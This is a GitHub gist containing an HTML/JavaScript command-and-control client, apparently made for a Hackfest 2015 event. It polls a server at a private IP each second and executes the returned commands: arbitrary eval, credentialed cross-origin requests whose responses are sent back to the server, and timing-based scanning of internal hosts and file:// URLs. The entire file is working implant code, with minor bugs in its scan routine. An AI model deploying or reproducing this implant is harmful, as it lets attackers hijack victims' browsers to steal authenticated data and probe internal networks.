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AdamGreenhill/hackfest_2015_cc_client.html

Created December 22, 2015 18:42
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hackfest_2015_cc_client.html
<iframe id="iframe" src=""></iframe>
<img id="image" src=""></img>
<script id="script" src=""></script>
<script>
var params = {server : {url : "http://172.16.66.10:8090/"}, threshold : 3000};
var iframeElement = document.getElementById("iframe");
var imageElement = document.getElementById("image");
var scriptElement = document.getElementById("script");
function loadResource(_cmdId,_data,_timing) {
var currentElement;
switch(_data.type) {
case "image":
currentElement = imageElement;
break;
case "script":
currentElement = scriptElement;
break;
default:
currentElement = iframeElement;
break;
}
var now;
currentElement.onerror = function() {
var delta = (new Date()).getTime() - now;
if(_timing && delta > params.threshold) {
sendResult(_cmdId, "Target unreachable: " + _data.src);
} else if(_timing) {
sendResult(_cmdId, "Target reachable: " + _data.src);
} else {
sendResult(_cmdId, "Failed to load resource: " + _data.src);
}
};
currentElement.onload = function() {
var delta = (new Date()).getTime() - now;
if(_timing && delta > params.threshold) {
sendResult(_cmdId, "Target unreachable: " + _data.src);
} else if(_timing) {
sendResult(_cmdId, "Target reachable: " + _data.src);
} else {
sendResult(_cmdId, "Resource loaded successfully: " + _data.src);
}
};
now = (new Date()).getTime();
currentElement.src = _data.src;
}
function scanNetwork(_cmdId,_data){
_data.forEach(function (e) {
if(e.indexOf("file://") === 0) {
loadResource(_cmdId, {type : "iframe", src : e});
} else if(e.indexOf("ftp://") === 0) {
loadResource(_cmdId, {type : "iframe", src : e});
} else {
var now = (new Date()).getTime();
var xml = new XMLHttpRequest();
xml.onerror = function () {
var delta = (new Date()).getTime() - now;
if(delta > params.threshold) {
sendResult(_cmdId, "Target unreachable: " + _data.src);
} else {
sendResult(_cmdId, "Target reachable: " + _data.src);
}
};
xml.onreadystatechange = function () {
if (xml.readyState === 4) {
xml.onerror();
}
}
}
});
}
function sendResult(_cmdId, _data) {
var xml = new XMLHttpRequest();
xml.open("POST", params.server.url + "?commandResult=&cmdid=" + _cmdId);
xml.send(_data);
}
function executeCommand(_cmd) {
switch(_cmd.name) {
case "ajaxCall":
var xml = new XMLHttpRequest();
xml.open(_cmd.data.method, _cmd.data.url);
xml.onreadystatechange = function () {
if (xml.readyState === 4 && xml.status === 200) {
sendResult(_cmd.id, xml.responseText);
}
}
xml.withCredentials = true;
xml.send(_cmd.data.body);
break;
case "scanNetwork":
scanNetwork(_cmd.id, _cmd.data);
break;
case "loadResource":
loadResource(_cmd.id, _cmd.data);
break;
case "eval":
sendResult(_cmd.id, eval(_cmd.data));
break;
default:
break;
}
}
function getCommand() {
var xml = new XMLHttpRequest();
xml.open("GET", params.server.url + "?getCommand=");
xml.onreadystatechange = function() {
if (xml.readyState === 4 && xml.status === 200) {
try{
var commandData = JSON.parse(xml.responseText);
if(commandData !== undefined) {
executeCommand(commandData);
}
}catch(e) {}
}
};
xml.send();
}
setInterval(getCommand,1000);
</script>
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